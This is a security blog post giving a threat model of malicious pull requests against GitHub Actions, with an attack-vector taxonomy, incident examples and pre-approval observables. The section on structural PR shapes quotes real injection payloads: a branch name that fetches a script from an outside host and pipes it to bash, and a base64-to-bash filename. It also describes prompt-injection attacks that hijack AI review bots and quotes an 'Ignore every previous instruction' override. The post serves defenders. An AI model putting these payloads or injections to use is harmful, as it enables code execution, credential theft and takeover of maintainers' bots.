---
title: "Malicious Pull Requests: A Threat Model"
description: "A compact threat model of the malicious pull request as a supply chain attack primitive against GitHub Actions: attacker, goals, assets, controllable surface, and an attack vector taxonomy (V1 through V8)."
url: "https://safedep.io/blog/malicious-pull-requests-threat-model"
author: "Kunal Singh"
published: "2026-04-22"
---

# Malicious Pull Requests: A Threat Model

> A survey of publicly documented malicious-PR campaigns against GitHub
> Actions, compiled into a threat model. Covers the attacker, assets at
> risk, the attacker's controllable surface, and a vector taxonomy.
> Reflects the landscape as of mid-2026.

**Update May 2026**: We have seen a large scale compromise of **400+** popular packages such as `@tanstack/*` and `@mistralai` via malicious pull requests.

> On May 11, 2026, a GitHub user zblgg opened PR #7378 against TanStack Router from a fork.
> The PR triggered a `pull_request_target` workflow that checked out the attacker’s code and ran it in the base repository’s context.
> Each push to the PR branch wrote a poisoned pnpm store to the shared GitHub Actions cache.
> When TanStack’s release pipeline later restored that cache, the malicious payload executed.
> The attacker then force-pushed the branch to match main HEAD (leaving 0 changes visible) and deleted it.
>
> This was the **V5** attack vector we talked about in this very article.
>
> Read [TanStack Blog about the incident](https://tanstack.com/blog/npm-supply-chain-compromise-postmortem) and our [Cache Poisoning](https://safedep.io/blog/tanstack-github-actions-cache-poisoning) blog.

## Scope

External pull requests opened against repositories that run GitHub
Actions. Covered: attacker, goals, assets at risk, controllable surface,
vector taxonomy. Deferred: detection architecture.

## Context

On a fork PR into a public repository, the default setting
_Require approval for outside contributors_ produces two parallel states:

- Check runs from installed GitHub Apps fire immediately on PR open.
- Workflow runs sit in `action_required` until a maintainer clicks
  _Approve and run_.

## Attacker model

- **Primary actor.** Autonomous LLM-based agents (`hackerbot-claw`
  style) operating at ecosystem scale. Observed: 16 PRs across 9
  repositories in 4 days (Feb 27 to Mar 2, 2026), hitting Microsoft,
  Datadog, Aqua Security (Trivy), CNCF Akri, RustPython, awesome-go.
- **Secondary actor.** Human supply-chain attacker targeting a single
  high-value project (Trivy). Indistinguishable from the bot at PR
  submission time.
- **Capability.** Opens PRs from a fork, controls every byte the PR
  carries, can comment. Cannot push to the base repository.
- **Out of scope.** Compromised maintainer accounts, insider threat,
  self-hosted runner escape, compromise of existing trusted actions.

## Attacker goals

Ordered by observed frequency:

1. **Credential exfiltration from the CI runner.** `GITHUB_TOKEN`, npm
   / PyPI / cargo tokens, cloud credentials, SSH keys, registry tokens.
   tj-actions, s1ngularity / Nx, Trivy.
2. **Repository write and tag poisoning.** Force-push commits to tags,
   rename the repository, delete releases. Trivy: 75 of 76
   `trivy-action` tags and all 7 `setup-trivy` tags force-pushed.
3. **Supply chain propagation via stolen package tokens.** Shai-Hulud
   pattern. Attackers weaponised 64 npm packages within 24h of the
   Trivy compromise and republished 28 `@emilgroup` packages in under
   60s.
4. **AI-review-bot hijack via prompt injection.** The bot acts with its
   own GitHub token (modifies CODEOWNERS, mass-labels, pushes commits).
5. **Opportunistic crypto-mining or worm hosting** on CI compute.

## Assets at risk

- `GITHUB_TOKEN` issued to the workflow. `pull_request_target` default
  scope: `contents: write` + `pull_requests: write`.
- Repository secrets under `${{ secrets.* }}`: cloud, registry,
  signing, cross-org PATs.
- `actions/cache` entries scoped by ref and readable from `main`.
- Identity credentials of installed AI bots (Claude Code Action,
  Copilot, Devin).
- Downstream published artifacts (npm, PyPI, OCI, GitHub Releases) and
  every consumer pinning mutable tags.

## Controllable surface

| Attacker controls                                             | Stays trusted                                               |
| ------------------------------------------------------------- | ----------------------------------------------------------- |
| PR diff: contents, paths, new files, deletions                | Workflow files at `main` (`pull_request_target` reads base) |
| PR title, body, head branch name, head SHA                    | Repository secrets                                          |
| Commit messages, unsigned author / committer names and emails | Branch protection on merge                                  |
| PR comments                                                   | Triggers and jobs defined on the base repository            |

**Key asymmetry.** An attacker cannot edit a workflow in their fork and
have the edited version run on the PR under `pull_request_target`. They
must find a vulnerable workflow already on `main` and feed it
attacker-controlled input.

## Attack-vector taxonomy

| #   | Name                                  | Mechanism                                                                                                                                                                  | Pre-condition on the victim repo                                  |
| --- | ------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------- |
| V1  | Expression injection into `run:`      | Attacker-controlled string (branch name, filename, PR title / body) interpolated via `${{ }}` into a shell block. Bash evaluates `$(...)`, `${IFS}`.                       | Any workflow interpolating untrusted context into `run:`.         |
| V2  | Pwn request (classic)                 | `pull_request_target` + checkout of PR head + build step (`npm ci`, `make`, `go build`, `pytest`). `preinstall` / `Makefile` / `init()` / `conftest.py` runs with secrets. | `pull_request_target`, checkout of untrusted ref, untrusted exec. |
| V3  | Lockfile / manifest poisoning         | PR changes `package-lock.json`, `go.sum`, `poetry.lock` to pull a malicious version. Executes at install (V2) or post-merge for consumers.                                 | Any CI step that installs dependencies.                           |
| V4  | Prompt injection against AI reviewer  | PR body, issue body, `CLAUDE.md`, code comments carry override directives. Bot acts on them with its token.                                                                | A workflow invoking an AI reviewer on untrusted PR / issue text.  |
| V5  | Cache poisoning                       | Fork-triggered workflow writes an `actions/cache` key later read by a privileged workflow on `main`.                                                                       | Cache keys not scoped by `github.ref` or head SHA.                |
| V6  | Workflow-file modification on merge   | PR edits `.github/workflows/*.yml`. Activates on merge, or earlier via V2.                                                                                                 | Maintainer merging without auditing workflow diffs.               |
| V7  | Comment-triggered privileged workflow | `/format`, `/test` style trigger without `author_association` check.                                                                                                       | `on: issue_comment` gated by regex, not role.                     |
| V8  | `workflow_run` chaining               | Downstream `workflow_run` reads artifact / PR number from a PR-triggered run and acts on it with secrets without re-validating inputs.                                     | Two-stage `pull_request` + `workflow_run` without input checks.   |

V1, V2, V3 dominate observed attacks. V4 is growing with AI-review-bot
adoption; Aikido classified a set of these as
[PromptPwnd](https://www.aikido.dev/blog/promptpwnd-github-actions-ai-agents).
V5 through V8 are rarer and higher-impact when present. The
foundational reference for V2 is GitHub SecurityLab's 2021
[_Preventing pwn requests_](https://securitylab.github.com/resources/github-actions-preventing-pwn-requests/).

## Three structural PR shapes

- **Innocuous diff, payload in metadata.** Trivial diff. Payload in the
  branch name, filename, or PR title. Examples:
  `dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash)`
  (Microsoft AI Discovery, RustPython),
  `$(echo${IFS}Y3VybC...|base64${IFS}-d|bash).md` (Datadog IaC
  scanner). Relies on V1.
- **Helpful contribution, toxic payload.** Legitimate-looking fix that
  adds `preinstall` / `postinstall` to `package.json`, edits a
  `Makefile`, adds a Go `init()`, or modifies `conftest.py`. Relies on
  V2.
- **Prompt trap.** PR body, issue body, `CLAUDE.md` edit, or code
  comment with _"Ignore every previous instruction..."_ targeting
  Claude Code Action / Copilot / Devin. Relies on V4. Same class
  surveyed in the
  [AI-native SDLC threat model](https://safedep.io/blog/ai-native-sdlc-supply-chain-threat-model).

## Pre-approval observables

Observable before the Approve click:

- Full PR diff, file list, commit SHAs, messages, author emails,
  signature state.
- PR title, body, head branch name, head SHA.
- **Base repository workflow files at `main`.** Enables static
  enumeration of which of V1 through V8 apply to this specific repo.
- Author association and prior PR history.
- File-level risk flags: lockfile touched, `Makefile` added, workflow
  file edited, `CLAUDE.md` modified.

Not observable:

- Workflow runtime behaviour (nothing has run).
- Secret values.
- Outbound network activity.
- Whether the maintainer will approve, or when.

The check run has seconds to land before the Approve click.

## Blast radius

- **Contained.** Secrets narrowly scoped, branch protection prevents
  tag force-push, `GITHUB_TOKEN` read-only. Attacker gains RCE on one
  runner, exits empty-handed. Datadog IaC scanner outcome.
- **Uncontained.** Cross-org PAT in the runner, tags not guarded,
  release signing absent. Attacker exfiltrates the PAT, force-pushes
  tags, and within an hour ~10,000 downstream workflows resolve to
  attacker artifact. Package tokens weaponised shortly after.
  [Trivy](https://safedep.io/blog/trivy-teampcp-supply-chain-compromise) outcome.

Severity of the same exploit spans three orders of magnitude across
these two postures. A useful severity model treats repository
configuration as primary input.

## Out of scope

- Self-hosted runner escapes.
- Compromised maintainer or insider.
- Post-merge tag poisoning (triggered by `push` to tags).
- Classical source-code vulnerabilities in the PR (SAST / existing
  malysis territory).

## Glossary

- **Pwn request.** A workflow triggered by an external PR that gains
  write access to the target repository and / or secrets while
  executing untrusted code. Term from
  [GitHub SecurityLab, 2021](https://securitylab.github.com/resources/github-actions-preventing-pwn-requests/).
- **`pull_request_target`.** Actions trigger that runs with base-repo
  context, secrets, and a write-scoped `GITHUB_TOKEN`, regardless of
  which branch opened the PR. Intended for passive PR operations.
- **`action_required`.** GitHub conclusion state for a workflow run
  queued but blocked on maintainer approval. Never executes until
  approved.
- **Check run.** A Checks API object created by a GitHub App,
  independent of Actions. Fires on PR open for installed Apps.
- **Shai-Hulud.** Worm campaign that exfiltrates npm publish tokens
  from CI and republishes trojanised packages across the registry.

## References

- [Preventing pwn requests](https://securitylab.github.com/resources/github-actions-preventing-pwn-requests/), GitHub SecurityLab, 2021.
- [When an AI agent came knocking](https://www.datadoghq.com/blog/engineering/stopping-hackerbot-claw-with-bewaire/), Datadog, 2026.
- [Detecting malicious pull requests at scale with LLMs](https://www.datadoghq.com/blog/engineering/malicious-pull-requests/), Datadog, 2026.
- [hackerbot-claw: AI-Powered Bot Exploiting GitHub Actions](https://www.stepsecurity.io/blog/hackerbot-claw-github-actions-exploitation), StepSecurity, 2026.
- [How JFrog's AI-Research Bot Found OSS CI/CD Vulnerabilities](https://jfrog.com/blog/jfrog-ai-bot-stopped-shai-hulud-3/), JFrog, 2026.
- [Trivy Supply Chain Compromise](https://safedep.io/blog/trivy-teampcp-supply-chain-compromise), SafeDep, 2026.
- [PromptPwnd in GitHub Actions and GitLab CI](https://www.aikido.dev/blog/promptpwnd-github-actions-ai-agents), Aikido, 2026.
- [Managing GitHub Actions settings for a repository](https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository), GitHub Docs.
